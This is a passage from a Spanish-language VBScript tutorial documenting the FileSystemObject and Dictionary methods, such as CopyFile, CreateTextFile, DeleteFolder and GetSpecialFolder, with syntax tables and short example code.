Agrega un par elemento y clave a un objeto Dictionary.

Sintaxis

objeto.Add clave, elemento

El método Add tiene las siguientes partes:

Parte Descripción

objeto Requerido. Siempre es el nombre de un objeto Dictionary .

clave Requerido. La clave asociada al elemento que se va a agregar.

elemento Requerido. El elemento asociado a la clave que se va a agregar.

Comentarios

Se producirá un error si la clave ya existe.

En el siguiente ejemplo se muestra el uso del método Add:

Dim d ' Crear una variable Set d = CreateObject("Scripting.Dictionary") d.Add "a", "Atenas" ' Agregar algunas claves y elementos d.Add "b", "Belgrado" d.Add "c", "Cairo"

Método Add (Folders)Método Add (Folders)Método Add (Folders)Método Add (Folders)

Descripción

Agrega un nuevo objeto Folder a una colección Folders.

Sintaxis

objeto.Add(nombredecarpeta)

El método Add tiene las siguientes partes:

Parte Descripción

objeto Requerido. Siempre es el nombre una colección Folders.

nombredecarpeta Requerido. El nombre del nuevo objeto Folder que se va a agregar.

Comentarios

Page 76: Tutorial de Visual Basic Scripting

By KarlosVid(ÊÇ) www.idat.byethost14.com 76

En el siguiente ejemplo se muestra el uso del método Add para agregar una nueva carpeta: Sub AgregarNuevaCarpeta(ruta, nombredecarpeta) Dim fso, f, fc, nf Set fso = CreateObject("Scripting.FileSystemObject") Set f = fso.GetFolder(ruta) Set fc = f.SubFolders If nombredecarpeta <> "" Then Set nf = fc.Add(nombredecarpeta) Else Set nf = fc.Add("Nueva carpeta") End If End Sub Se producirá un error si nombredecarpeta ya existe.

Método BuildPathMétodo BuildPathMétodo BuildPathMétodo BuildPath

Descripción

Agrega un nombre a una ruta existente.

Sintaxis

objeto.BuildPath(ruta, nombre)

La sintaxis del método BuildPath tiene las siguientes partes:

Parte Descripción

objeto Requerido. Siempre es el nombre de un FileSystemObject.

ruta Requerido. Ruta existente a la que se va a anexar name. Esta ruta puede ser absoluta o relativa, y no es necesario que especifique una carpeta existente.

nombre Requerido. Nombre que se va a anexar a la ruta existente.

Comentarios

El método BuildPath inserta un separador de ruta adicional entre la ruta existente y el nombre, en caso de que sea necesario.

En el siguiente ejemplo se muestra el uso del método BuildPath:

Function ObtenerRutaDeBuild(ruta) Dim fso, nuevaruta Set fso = CreateObject("Scripting.FileSystemObject") nuevaruta = fso.BuildPath(ruta, "Subcarpeta") ObtenerRutaDeBuild = nuevaruta End Function

Método CloseMétodo CloseMétodo CloseMétodo Close

Descripción

Cierra un archivo TextStream abierto.

Sintaxis

objeto.Close

Page 77: Tutorial de Visual Basic Scripting

By KarlosVid(ÊÇ) www.idat.byethost14.com 77

El objeto siempre es el nombre de un objeto TextStream.

Comentarios

En el siguiente ejemplo se muestra el uso del método Close para cerrar un archivo TextStream abierto: Sub CrearUnArchivo Dim fso, MyFile Set fso = CreateObject("Scripting.FileSystemObject") Set MyFile = fso.CreateTextFile("c:\archivodeprueba.txt", True) MyFile.WriteLine("Esto es una prueba.") MyFile.Close End Sub

Método CopyMétodo CopyMétodo CopyMétodo Copy

Descripción

Copia un archivo o carpeta especificados de una ubicación a otra.

Sintaxis

objeto.Copy destino[, sobrescribir]

La sintaxis del método Copy tiene las siguientes partes:

Parte Descripción

objeto Requerido. Siempre es el nombre de un objeto File o Folder.

destino Requerido. Destino al que se va a copiar el archivo o la carpeta. No se admiten caracteres comodín.

sobrescribir Opcional. Valor de tipo Boolean que es True (predeterminado) si se van a sobrescribir los archivos o carpetas existentes; es False en caso contrario.

Comentarios

Los resultados del método Copy en un objeto File o Folder son idénticos a las operaciones realizadas al usar FileSystemObject.CopyFile o FileSystemObject.CopyFolder, donde se pasa como argumento el archivo o la carpeta al que hace referencia el objeto. Sin embargo, debe tener en cuenta que los métodos alternativos pueden copiar varios archivos o carpetas.

En el siguiente ejemplo se muestra el uso del método Copy:

Dim fso, MyFile Set fso = CreateObject("Scripting.FileSystemObject") Set MyFile = fso.CreateTextFile("c:\archivodeprueba.txt", True) MyFile.WriteLine("Esto es una prueba.") MyFile.Close Set MyFile = fso.GetFile("c:\archivodeprueba.txt") MyFile.Copy ("c:\windows\escritorio\prueba2.txt")

Método CopyFileMétodo CopyFileMétodo CopyFileMétodo CopyFile

Descripción

Copia uno o más archivos de una ubicación a otra.

Sintaxis

Page 78: Tutorial de Visual Basic Scripting

By KarlosVid(ÊÇ) www.idat.byethost14.com 78

objeto.CopyFile origen, destino[, sobrescribir]

La sintaxis del método CopyFile tiene las siguientes partes:

Parte Descripción

objeto Requerido. El objeto siempre es el nombre de un objeto FileSystemObject.

origen Requerido. Especificación de archivos de cadenas de caracteres, que puede incluir caracteres comodín, para uno o más archivos que se van a copiar.

destino Requerido. Destino de cadena de caracteres donde se van a copiar el archivo o archivos desde origen. No se admiten caracteres comodín.

sobrescribir Opcional. Valor de tipo Boolean que indica si se van a sobrescribir los archivos existentes. Si es True, los archivos se sobrescribirán; si es False, no se sobrescribirán. El valor predeterminado es True. Tenga en cuenta que CopyFile fallará si el destino tiene el atributo de sólo lectura, independientemente del valor de sobrescribir.

Comentarios

Sólo se puede usar caracteres comodín en el último componente de la ruta del argumento origen. Por ejemplo, puede usar: FileSystemObject.CopyFile "c:\misdocumentos\cartas\*.doc", "c:\carpetatemporal\" Pero no puede utilizar: FileSystemObject.CopyFile "c:\misdocumentos\*\R1???97.xls", "c:\carpetatemporal" Si el origen contiene caracteres comodín o el destino termina con un separador de ruta (\), se supone que el destino es una carpeta existente en la que se van a copiar los archivos que coincidan. En caso contrario, se supone que el destino es el nombre de un archivo que se va a crear. En cualquier caso, se pueden dar tres situaciones al copiar un archivo individual.

• Si no existe el destino, el origen se copia. Es el caso más habitual. • Si el destino es un archivo existente, se producirá un error si el parámetro sobrescribir es False.

En caso contrario, se intentará copiar el origen sobre el archivo existente. • Si el destino es un directorio, se producirá un error.

También se produce un error si un origen que usa caracteres comodín no coincide con ningún archivo. El método CopyFile se detiene en el primer error que encuentra. No se intenta deshacer ningún cambio realizado antes de que se produjera un error.

Método CopyFolderMétodo CopyFolderMétodo CopyFolderMétodo CopyFolder

Descripción

Copia de forma recursiva una carpeta de una ubicación a otra.

Sintaxis

objeto.CopyFolder origen, destino[, sobrescibir]

La sintaxis del método CopyFolder tiene las siguientes partes:

Parte Descripción

objeto Requerido. Siempre es el nombre de un objeto FileSystemObject.

origen Requerido. Especificación de carpetas de cadenas de caracteres, que puede incluir caracteres comodín, para una o más carpetas que se van a copiar.

destino Requerido. Destino de cadena de caracteres donde se van a copiar la carpeta o carpetas desde el origen. No se admiten caracteres comodín.

Page 79: Tutorial de Visual Basic Scripting

By KarlosVid(ÊÇ) www.idat.byethost14.com 79

sobrescibir Opcional. Valor de tipo Boolean que indica si se van a sobrescribir las carpetas existentes. Si es True, las carpetas se sobrescribirán; si es False, no se sobrescribirán. El valor predeterminado es True.

Comentarios

Sólo se puede usar caracteres comodín en el último componente de la ruta del argumento origen. Por ejemplo, puede usar: FileSystemObject.CopyFolder "c:\misdocumentos\cartas\*", "c:\carpetatemporal\" Pero no puede utilizar: FileSystemObject.CopyFolder "c:\misdocumentos\*\*", "c:\carpetatemporal\" Si el origen contiene caracteres comodín o el destino termina con un separador de ruta (\), se supone que el destino es una carpeta existente en la que se van a copiar las carpetas y subcarpetas que coincidan. En caso contrario, se supone que el destino es el nombre de un archivo que se va a crear. En cualquier caso, se pueden dar cuatro situaciones al copiar una carpeta individual.

• Si no existe el destino, se copiará la carpeta origen y todo su contenido. Es el caso más habitual. • Si el destino es un archivo existente, se producirá un error . • Si el destino es un directorio, se intentará copiar la carpeta y todo su contenido. Si un archivo

contenido en el origen ya existe en el destino, se producirá un error si sobrescribir es False. En caso cotrario, intentará copiar el archivo sobre el archivo existente.

• Si el destino es un directorio de sólo lectura, se producirá un error si se intenta copiar a dicho directorio un archivo de sólo lectura existente y sobrescribir es False.

También se produce un error si un origen que usa caracteres comodín no coincide con ninguna carpeta.

El método CopyFolder se detiene en el primer error que encuentra. No se intenta deshacer ningún cambio realizado antes de que se produjera un error.

Método CreateFolderMétodo CreateFolderMétodo CreateFolderMétodo CreateFolder

Descripción

Crea una carpeta.

Sintaxis

objeto.CreateFolder(nombredecarpeta)

El método CreateFolder tiene las siguientes partes:

Parte Descripción

objeto Requerido. Siempre es el nombre de un objeto FileSystemObject.

nombredecarpeta Requerido. Expresión de cadena que identifica la carpeta que se va a crear.

Comentarios

Se produce un error si la carpeta especificada ya existe.

En el siguiente ejemplo se muestra el uso del método CreateFolder:

Function EjemploDeCreateFolder Dim fso, f Set fso = CreateObject("Scripting.FileSystemObject") Set f = fso.CreateFolder("c:\Nueva carpeta") EjemploDeCreateFolder = f.Path End Function

Page 80: Tutorial de Visual Basic Scripting

By KarlosVid(ÊÇ) www.idat.byethost14.com 80

Método CreateTextFileMétodo CreateTextFileMétodo CreateTextFileMétodo CreateTextFile

Descripción

Crea el nombre de archivo especificado y devuelve un objeto TextStream que se puede usar para leer o escribir en el archivo.

Sintaxis

objeto.CreateTextFile(nombredearchivo[, sobrescribir[, unicode]])

El método CreateTextFile tiene las siguientes partes:

Parte Descripción

objeto Requerido. Siempre es el nombre de un objeto FileSystemObject o Folder.

nombredearchivo Requerido. Expresión de cadena que identifica al archivo que se va a crear.

sobrescribir Opcional. Valor de tipo Boolean que indica si se puede sobrescribir un archivo existente. El valor es True si el archivo se puede sobrescribir; es False en caso contrario. Si no se especifica, no se sobrescribirán los archivos existentes.

unicode Opcional. Valor de tipo Boolean que indica si el archivo se va a crear como archivo Unicode o ASCII. El valor es True si el archivo creado es Unicode; el valor es False si es creado como archivo ASCII. Si se omite este argumento, se crea un archivo ASCII de forma predeterminada.

Comentarios

En el siguiente código se muestra cómo usar el método CreateTextFile para crear y abrir un archivo de texto: Sub CrearUnArchivo Dim fso, MyFile Set fso = CreateObject("Scripting.FileSystemObject") Set MyFile = fso.CreateTextFile("c:\archprueb.txt", True) MyFile.WriteLine("Esto es una prueba.") MyFile.Close End Sub Se producirá un error si el argumento sobrescribir es False, o si no se especifica, para un nombredearchivo que ya existe.

Método DeleteMétodo DeleteMétodo DeleteMétodo Delete

Descripción

Elimina un archivo o carpeta especificados.

Sintaxis

objeto.Delete forzar

La sintaxis del método Delete tiene las siguientes partes:

Parte Descripción

objeto Requerido. Siempre es el nombre de un objeto File o Folder.

forzar Opcional. Valor de tipo Boolean que es True si se desea eliminar archivos o carpetas que tienen atributo de sólo lectura; el valor predeterminado es False si no se van a eliminar.

Page 81: Tutorial de Visual Basic Scripting

By KarlosVid(ÊÇ) www.idat.byethost14.com 81

Comentarios

Se produce un error si no existe el archivo o carpeta especificados. El método Delete no diferencia las carpetas que tienen contenido y las que no tienen. La carpeta especificada se eliminará independientemente de si tiene o no tiene contenido.

Los resultados del método Delete en un objeto File o Folder son idénticos a las operaciones realizadas al usar FileSystemObject.DeleteFile o FileSystemObject.DeleteFolder.

En el siguiente ejemplo se muestra el uso del método Delete:

Dim fso, MyFile Set fso = CreateObject("Scripting.FileSystemObject") Set MyFile = fso.CreateTextFile("c:\archprue.txt", True) MyFile.WriteLine("Esto es una prueba.") MyFile.Close Set MyFile = fso.GetFile("c:\archprue.txt") Set MyFile = fso.GetFile("c:\archprue.txt") MyFile.Delete

Método DeleteFileMétodo DeleteFileMétodo DeleteFileMétodo DeleteFile

Descripción

Elimina un archivo especificado.

Sintaxis

objeto.DeleteFile especificacióndearchivo[, forzar]

La sintaxis del método DeleteFile tiene las siguientes partes:

Parte Descripción

objeto Requerido. Siempre es el nombre de un objeto FileSystemObject.

especificacióndearchivo Requerido. El nombre del archivo que se va a eliminar. especificaciondearchivo puede contener caracteres comodín en el último componente de la ruta.

forzar Opcional. Valor de tipo Boolean que es igual a True si se deben eliminar los archivos con el atributo de sólo lectura establecido; y es igual a False (predeterminado) en caso contrario.

Comentarios

Si no se encuentra ningún archivo se produce un error. El método DeleteFile se detiene en el primer error que encuentra. No se intenta deshacer ningún cambio realizado antes de que se produjera un error.

En el siguiente ejemplo se muestra el uso del método DeleteFile:

Sub DeleteAFile(especificaciondearchivo) Dim fso Set fso = CreateObject("Scripting.FileSystemObject") fso.DeleteFile(especificaciondearchivo) End Sub

Método DeleteFolderMétodo DeleteFolderMétodo DeleteFolderMétodo DeleteFolder

Descripción

Page 82: Tutorial de Visual Basic Scripting

By KarlosVid(ÊÇ) www.idat.byethost14.com 82

Elimina la carpeta especificada y su contenido.

Sintaxis

objeto.DeleteFolder especificacióndecarpeta[, forzar]

La sintaxis del método DeleteFolder tiene las siguientes partes:

Parte Descripción

objeto Requerido. Siempre es el nombre de un objeto FileSystemObject.

especificaciondecarpeta Requerido. El nombre de la carpeta que se va a eliminar. El argumento especificacióndecarpeta puede contener caracteres comodín en el último componente de la ruta.

forzar Opcional. Valor de tipo Boolean que es True si se desea eliminar carpetas que tienen atributo de sólo lectura; el valor predeterminado es False si no se van a eliminar.

Comentarios

El método DeleteFolderno diferencia las carpetas que tienen contenido y las que no tienen. La carpeta especificada se eliminará independientemente de si tiene o no tiene contenido.

Se produce un error si no se encuentran carpetas coincidentes. El método DeleteFolder se detiene en el primer error que encuentra. No se intenta deshacer ningún cambio realizado antes de que se produjera un error.

En el siguiente ejemplo se muestra el uso del método DeleteFolder:

Sub EliminarUnaCarpeta(especificaciondearchivo) Dim fso Set fso = CreateObject("Scripting.FileSystemObject") fso.DeleteFolder(especificaciondearchivo) End Sub

Método DriveExistsMétodo DriveExistsMétodo DriveExistsMétodo DriveExists

Descripción

Devuelve True si existe la unidad especificada; en caso contrario, devuelve False.

Sintaxis

objeto.DriveExists(especificacióndeunidad)

La sintaxis del método DriveExists tiene las siguientes partes:

Parte Descripción

objeto Requerido. Siempre es el nombre de un objeto FileSystemObject.

especificacióndeunidad Requerido. Una letra de unidad o una especificación de ruta completa.

Comentarios

Para unidades con discos removibles, el método DriveExists devuelve True aunque no esté ningún disco insertado. Use la propiedad IsReady del objeto Drive para determinar si una unidad está lista.

Page 83: Tutorial de Visual Basic Scripting

By KarlosVid(ÊÇ) www.idat.byethost14.com 83

En el siguiente ejemplo se muestra el uso del método DriveExists:

Function EstadoDeUnidad(unidad) Dim fso, mensaje Set fso = CreateObject("Scripting.FileSystemObject") If fso.DriveExists(unidad) Then mensaje = ("La unidad " & UCase(unidad) & " existe.") Else mensaje = ("La unidad " & UCase(unidad) & " no existe.") End If EstadoDeUnidad = mensaje End Function

Método ExistsMétodo ExistsMétodo ExistsMétodo Exists

Descripción

Devuelve True si una clave especificada existe en el objeto Dictionary; devuelve False en caso contrario.

Sintaxis

objeto.Exists(clave)

La sintaxis del método Exists consta de las siguientes partes:

Parte Descripción

objeto Es necesario. Siempre es el nombre de un objeto Dictionary .

key Requerido. Valor clave que se está buscando en el objeto Dictionary .

Comentarios

En el siguiente ejemplo se muestra el uso del método Exists: Function EjemploDeKeyExists Dim d, mensaje ' Crear algunas variables. Set d = CreateObject("Scripting.Dictionary") d.Add "a", "Atenas" ' Agregar algunas claves y elementos. d.Add "b", "Belgrado" d.Add "c", "Cairo" If d.Exists("c") Then mensaje = "La clave especificada existe." Else mensaje = "La clave especificada no existe." End If EjemploDeKeyExists = mensaje End Function

Método FileExistsMétodo FileExistsMétodo FileExistsMétodo FileExists

Descripción

Devuelve True si existe un archivo especificado; en caso contrario, devuelve False.

Sintaxis

objeto.FileExists(especificacióndearchivo)

Page 84: Tutorial de Visual Basic Scripting

By KarlosVid(ÊÇ) www.idat.byethost14.com 84

La sintaxis del método FileExists tiene las siguientes partes:

Parte Descripción

objeto Requerido. Siempre es el nombre de un objeto FileSystemObject.

especificaciondearchivo Requerido. El nombre del archivo cuya existencia se va a determinar. Se debe proporcionar una especificación de ruta completa (absoluta o relativa) si se espera que el archivo no exista en la carpeta actual.

Comentarios

En el siguiente ejemplo se muestra el uso del método FileExists: Function EstadoDeArchivo(especificaciondearchivo) Dim fso, mensaje Set fso = CreateObject("Scripting.FileSystemObject") If (fso.FileExists(especificaciondearchivo)) Then mensaje = especificaciondearchivo & " existe." Else mensaje = especificaciondearchivo & " no existe." End If EstadoDeArchivo = mensaje End Function

Método FolderExistsMétodo FolderExistsMétodo FolderExistsMétodo FolderExists

Descripción

Devuelve True si existe una carpeta especificada; en caso contrario, devuelve False.

Sintaxis

objeto.FolderExists(especificacióndecarpeta)

La sintaxis del método FolderExists tiene las siguientes partes:

Parte Descripción

objeto Requerido. Siempre es el nombre de un objeto FileSystemObject.

especificaciondecarpeta Requerido. El nombre de la carpeta cuya existencia se va a determinar. Se debe proporcionar una especificación de ruta completa (absoluta o relativa) si se espera que la carpeta no exista en la carpeta actual.

Comentarios

En el siguiente ejemplo se muestra el uso del método FolderExists: Function EstadoDeCarpeta(carpeta) Dim fso, mensaje Set fso = CreateObject("Scripting.FileSystemObject") If (fso.FolderExists(carpeta)) Then mensaje = carpeta & " existe." Else mensaje = carpeta & " no existe." End If EstadoDeCarpeta = mensaje End Function

MétMétMétMétodo GetAbsolutePathNameodo GetAbsolutePathNameodo GetAbsolutePathNameodo GetAbsolutePathName

Page 85: Tutorial de Visual Basic Scripting

By KarlosVid(ÊÇ) www.idat.byethost14.com 85

Descripción

Devuelve una ruta completa y unívoca a partir de una especificación de ruta proporcionada.

Sintaxis

objeto.GetAbsolutePathName(especificaciónderuta)

La sintaxis del método GetAbsolutePathName tiene las siguientes partes:

Parte Descripción

objeto Requerido. Siempre es el nombre de un objeto FileSystemObject.

especificaciónderuta Requerido. Especificación de ruta que se va a cambiar a una ruta completa y unívoca.

Comentarios

Una ruta es completa y unívoca si proporciona una referencia completa desde la raíz de la unidad especificada. Una ruta completa sólo puede finalizar con un carácter separador de rutas (\) si especifica la carpeta raíz de una unidad asignada.

Si asume que el directorio actual es c:\misdocumentos\informes, la siguiente tabla muestra el comportamiento del método GetAbsolutePathName.

especificaciónderuta Ruta devuelta

"c:" "c:\misdocumentos\informes"

"c:.." "c:\misdocumentos"

"c:\\\" "c:\"

"c:*.*\mayo97" "c:\misdocumentos\informes\*.*\mayo97"

"región1" "c:\misdocumentos\informes\región1"

"c:\..\..\misdocumentos" "c:\misdocumentos"

Método GetBaseNameMétodo GetBaseNameMétodo GetBaseNameMétodo GetBaseName

Descripción

Devuelve una cadena que contiene el nombre base del archivo (menos la extensión de archivo) o carpeta de una especificación de ruta proporcionada.

Sintaxis

objeto.GetBaseName(ruta)

La sintaxis del método GetBaseName tiene las siguientes partes:

Parte Descripción

objeto Requerido. Siempre es el nombre de un objeto FileSystemObject.

ruta Requerido. La especificación de ruta del archivo o carpeta cuyo nombre base se va a devolver.

Comentarios

Page 86: Tutorial de Visual Basic Scripting

By KarlosVid(ÊÇ) www.idat.byethost14.com 86

El método GetBaseName devuelve una cadena de longitud cero ("") si ningún archivo o carpeta coincide con el argumento ruta.

En el siguiente ejemplo se muestra el uso del método GetBaseName:

Function ObtenerBase(especificaciondearchivo) Dim fso Set fso = CreateObject("Scripting.FileSystemObject") ObtenerBase = fso.GetBaseName(especificaciondearchivo) End Function Nota El método GetBaseName sólo funciona en la cadena ruta proporcionada. No intenta resolver la ruta ni verifica la existencia de la ruta especificada.

Método GetDriveMétodo GetDriveMétodo GetDriveMétodo GetDrive

Descripción

Devuelve un objeto Drive que corresponde a la unidad de una ruta especificada.

Sintaxis

objeto.GetDrive especificacióndeunidad

La sintaxis del método GetDrive tiene las siguientes partes:

Parte Descripción

objeto Requerido. Siempre es el nombre de un objeto FileSystemObject.

especificacióndeunidad Requerido. El argumento especificacióndeunidad puede ser una letra de unidad (c), una letra de unidad seguida de dos puntos (c:), una letra de unidad seguida de dos puntos y de un separador de rutas (c:\) o cualquier especificación de recurso compartido de red (\\equipo2\recurso1).

Comentarios

Para los recursos compartidos de red se comprueba la existencia del recurso.

Se produce un error si especificacióndeunidad no cumple con uno de los formatos aceptados o si no existe. Para llamar al método GetDrive en una cadena de ruta normal, use la siguiente secuencia para obtener una cadena que se pueda usar como especificacióndeunidad:

EspecificaciondeUnidad = GetDriveName(GetAbsolutePathName(ruta)) En el siguiente ejemplo se muestra el uso del método GetDrive: Function MostrarEspacioLibre(unidadRuta) Dim fso, d, s Set fso = CreateObject("Scripting.FileSystemObject") Set d = fso.GetDrive(fso.GetDriveName(unidadRuta)) s = "Unidad " & UCase(unidadRuta) & " - " s = s & d.VolumeName & "<BR>" s = s & "Espacio libre: " & FormatNumber(d.FreeSpace/1024, 0) s = s & " Kbytes" MostrarEspacioLibre = s End Function

Método GetDriveNameMétodo GetDriveNameMétodo GetDriveNameMétodo GetDriveName

Page 87: Tutorial de Visual Basic Scripting

By KarlosVid(ÊÇ) www.idat.byethost14.com 87

Descripción

Devuelve una cadena que contiene el nombre de la unidad para una ruta especificada.

Sintaxis

objeto.GetDriveName(ruta)

La sintaxis del método GetDriveName tiene las siguientes partes:

Parte Descripción

objeto Requerido. Siempre es el nombre de un objeto FileSystemObject.

ruta Requerido. La especificación de ruta para el componente cuyo nombre de unidad se va a devolver.

Comentarios

El método GetDriveName devuelve una cadena de longitud cero ("") si no se puede determinar la unidad.

En el siguiente ejemplo se muestra el uso del método GetDriveName:

Function ObtenerUnNombre(EspecificacionDeUnidad) Dim fso Set fso = CreateObject("Scripting.FileSystemObject") ObtenerUnNombre = fso.GetDriveName(EspecificacionDeUnidad) End Function Nota El método GetDriveName sólo funciona en la cadena ruta proporcionada. No intenta resolver la ruta ni verifica la existencia de la ruta especificada.

Método GetExtensionNameMétodo GetExtensionNameMétodo GetExtensionNameMétodo GetExtensionName

Descripción

Devuelve una cadena que contiene el nombre de extensión para el último componente de la ruta.

Sintaxis

objeto.GetExtensionName(ruta)

La sintaxis del método GetExtensionName tiene las siguientes partes:

Parte Descripción

objeto Requerido. Siempre es el nombre de un objeto FileSystemObject.

ruta Requerido. La especificación de ruta para el componente cuyo nombre de extensión se va a devolver.

Comentarios

Para unidades de red, el directorio raíz (\) se considera un componente.

El método GetExtensionName devuelve una cadena de longitud cero ("") si ningún componente coincide con el argumento ruta.

En el siguiente ejemplo se muestra el uso del método GetExtensionName:

Page 88: Tutorial de Visual Basic Scripting

By KarlosVid(ÊÇ) www.idat.byethost14.com 88

Function ObtenerUnaExtension(EspecificacionDeUnidad) Dim fso Set fso = CreateObject("Scripting.FileSystemObject") ObtenerUnaExtension = fso.GetExtensionName(EspecificacionDeUnidad) End Function

Método GetFileMétodo GetFileMétodo GetFileMétodo GetFile

Descripción

Devuelve un objeto File que corresponde al archivo de la ruta especificada.

Sintaxis

objeto.GetFile(especificaciondearchivo)

La sintaxis del método GetFile tiene las siguientes partes:

Parte Descripción

objeto Requerido. Siempre es el nombre de un objeto FileSystemObject.

especificaciondearchivo Requerido. especificaciondearchivo es la ruta (absoluta o relativa) a un archivo específico.

Comentarios

Se produce un error si el archivo especificado no existe.

En el siguiente ejemplo se muestra el uso del método GetFile:

Function MostrarInformacionDeAccesoDeArchivo(especificaciondearchivo) Dim fso, f, s Set fso = CreateObject("Scripting.FileSystemObject") Set f = fso.GetFile(especificaciondearchivo) s = f.Path & "<br>" s = s & "Creado: " & f.DateCreated & "<br>" s = s & "Último acceso: " & f.DateLastAccessed & "<br>" s = s & "Última modificación: " & f.DateLastModified MostrarInformacionDeAccesoDeArchivo = s End Function

Método GetFileNameMétodo GetFileNameMétodo GetFileNameMétodo GetFileName

Descripción

Devuelve el último nombre de archivo o carpeta de una ruta especificada que no forma parte de la especificación de unidad.

Sintaxis

objeto.GetFileName(especificaciónderuta)

La sintaxis del método GetFileName tiene las siguientes partes:

Parte Descripción

Page 89: Tutorial de Visual Basic Scripting

By KarlosVid(ÊÇ) www.idat.byethost14.com 89

objeto Requerido. Siempre es el nombre de un objeto FileSystemObject.

especificaciónderuta Requerido. La ruta (absoluta o relativa) a un archivo especificado.

Comentarios

El método GetFileName devuelve una cadena de longitud cero ("") si especificaciónderuta no finaliza con el nombre de archivo o carpeta.

En el siguiente ejemplo se muestra el uso del método GetFileName:

Function ObtenerUnNombre(EspecificacionDeUnidad) Dim fso Set fso = CreateObject("Scripting.FileSystemObject") ObtenerUnNombre = fso.GetFileName(EspecificacionDeUnidad) End Function Nota El método GetFileName sólo funciona en la cadena de ruta proporcionada. No intenta resolver la ruta ni verifica la existencia de la ruta especificada.

Método GetFolderMétodo GetFolderMétodo GetFolderMétodo GetFolder

Descripción

Devuelve un objeto Folder que corresponde a la carpeta de la ruta especificada.

Sintaxis

objeto.GetFolder(especificaciondecarpeta)

La sintaxis del método GetFolder tiene las siguientes partes:

Parte Descripción

objeto Requerido. Siempre es el nombre de un objeto FileSystemObject.

especificaciondecarpeta Requerido. especificaciondecarpeta es la ruta (absoluta o relativa) a una carpeta específica.

Comentarios

Se produce un error si la carpeta especificada no existe.

El siguiente ejemplo muestra el uso del método GetFolder para devolver un objeto Folder:

Sub AgregarNuevaCarpeta(ruta, nombredecarpeta) Dim fso, f, fc, nf Set fso = CreateObject("Scripting.FileSystemObject") Set f = fso.GetFolder(ruta) Set fc = f.SubFolders If nombredecarpeta <> "" Then Set nf = fc.Add(nombredecarpeta) Else Set nf = fc.Add("Nueva carpeta") End If End Sub

Page 90: Tutorial de Visual Basic Scripting

By KarlosVid(ÊÇ) www.idat.byethost14.com 90

Método GetParentFolderNameMétodo GetParentFolderNameMétodo GetParentFolderNameMétodo GetParentFolderName

Descripción

Devuelve una cadena que contiene el nombre de la carpeta principal del último archivo o carpeta de la ruta especificada.

Sintaxis

objeto.GetParentFolderName(ruta)

La sintaxis del método GetParentFolderName tiene las siguientes partes:

Parte Descripción

objeto Requerido. Siempre es el nombre de un objeto FileSystemObject.

ruta Requerido. La especificación de ruta para el archivo o carpeta cuyo nombre de carpeta principal se va a devolver.

Comentarios

El método GetParentFolderName devuelve una cadena de longitud cero ("") si no hay carpeta principal para el archivo o carpeta especificado en el argumento ruta.

En el siguiente ejemplo se muestra el uso del método GetParentFolderName:

Function ObtenerPrincipal(EspecificacionDeUnidad) Dim fso Set fso = CreateObject("Scripting.FileSystemObject") ObtenerPrincipal = fso.GetParentFolderName(EspecificacionDeUnidad) End Function Nota El método GetParentFolderName sólo funciona en la cadena ruta proporcionada. No intenta resolver la ruta ni verifica la existencia de la ruta especificada.

Método GetSpecialFolderMétodo GetSpecialFolderMétodo GetSpecialFolderMétodo GetSpecialFolder

Descripción

Devuelve la carpeta especial especificada.

Sintaxis

objeto.GetSpecialFolder(especificaciondecarpeta)

La sintaxis del método GetSpecialFolder tiene las siguientes partes:

Parte Descripción

objeto Requerido. Siempre es el nombre de un objeto FileSystemObject.

especificaciondecarpeta Requerido. El nombre de la carpeta especial que se va a devolver. Puede ser cualquiera de las constantes mostradas en la sección Valores.

Valores

Page 91: Tutorial de Visual Basic Scripting

By KarlosVid(ÊÇ) www.idat.byethost14.com 91

El argumento especificaciondecarpeta puede tener cualquiera de los siguientes valores:

Constante Valor Descripción

WindowsFolder 0 La carpeta Windows contiene archivos instalados por el sistema operativo Windows.

SystemFolder 1 La carpeta System contiene bibliotecas, fuentes y controladores de dispositivos.

TemporaryFolder 2 La carpeta Temp se usa para almacenar archivos temporalmente. Su ruta se encuentra en la variable de entorno TMP.

Comentarios

En el siguiente ejemplo se muestra el uso del método GetSpecialFolder: Dim fso, archivotemporal Set fso = CreateObject("Scripting.FileSystemObject") Function CrearArchivoTemporal Dim tcarpeta, tnombre, tarchivo Const TemporaryFolder = 2 Set tcarpeta = fso.GetSpecialFolder(TemporaryFolder) tnombre = fso.GetTempName Set tarchivo = tcarpeta.CreateTextFile(tnombre) Set CrearArchivoTemporal = tarchivo End Function Set archivotemporal = CrearArchivoTemporal archivotemporal.WriteLine "Hola mundo" archivotemporal.Close

Método GetTempNameMétodo GetTempNameMétodo GetTempNameMétodo GetTempName

Descripción

Devuelve un nombre de archivo o carpeta temporal generado aleatoriamente que es útil para realizar operaciones que requieren un archivo o una carpeta temporal.

Sintaxis

objeto.GetTempName

El argumento opcional objeto siempre es el nombre de un objeto FileSystemObject.

Comentarios

El método GetTempName no crea un archivo. Sólo proporciona un nombre de archivo temporal que se puede usar con CreateTextFile para crear un archivo.

En el siguiente ejemplo se muestra el uso del método GetTempName:

Dim fso, archivotemporal Set fso = CreateObject("Scripting.FileSystemObject") Function CrearArchivoTemporal Dim tcarpeta, tnombre, tarchivo Const TemporaryFolder = 2 Set tcarpeta = fso.GetSpecialFolder(TemporaryFolder) tnombre = fso.GetTempName Set tarchivo = tcarpeta.CreateTextFile(tnombre) Set CrearArchivoTemporal = tarchivo

Page 92: Tutorial de Visual Basic Scripting

By KarlosVid(ÊÇ) www.idat.byethost14.com 92

End Function Set archivotemporal = CrearArchivoTemporal archivotemporal.WriteLine "Hola mundo" archivotemporal.Close

Método ÍtemsMétodo ÍtemsMétodo ÍtemsMétodo Ítems

Descripción

Devuelve una matriz que contiene todos los elementos en un objeto Dictionary.

Sintaxis

objeto.Items

objeto siempre es el nombre de un objeto Dictionary.

Comentarios

En el siguiente código se muestra el uso del método Items: Function EjemploDeDic Dim a, d, i, s ' Crea algunas variables Set d = CreateObject("Scripting.Dictionary") d.Add "a", "Atenas" ' Agrega algunas claves y elementos d.Add "b", "Belgrado" d.Add "c", "Cairo" a = d.Items ' Obtiene los elementos For i = 0 To d.Count -1 ' Itera la matriz s = s & a(i) & "<BR>" ' Crea cadena de devolución Next EjemploDeDic = s End Function

Método KeysMétodo KeysMétodo KeysMétodo Keys

Descripción

Devuelve una matriz que contiene todas las claves existentes en un objeto Dictionary.

Sintaxis

objeto.Keys

objeto siempre es el nombre de un objeto Dictionary.

Comentarios

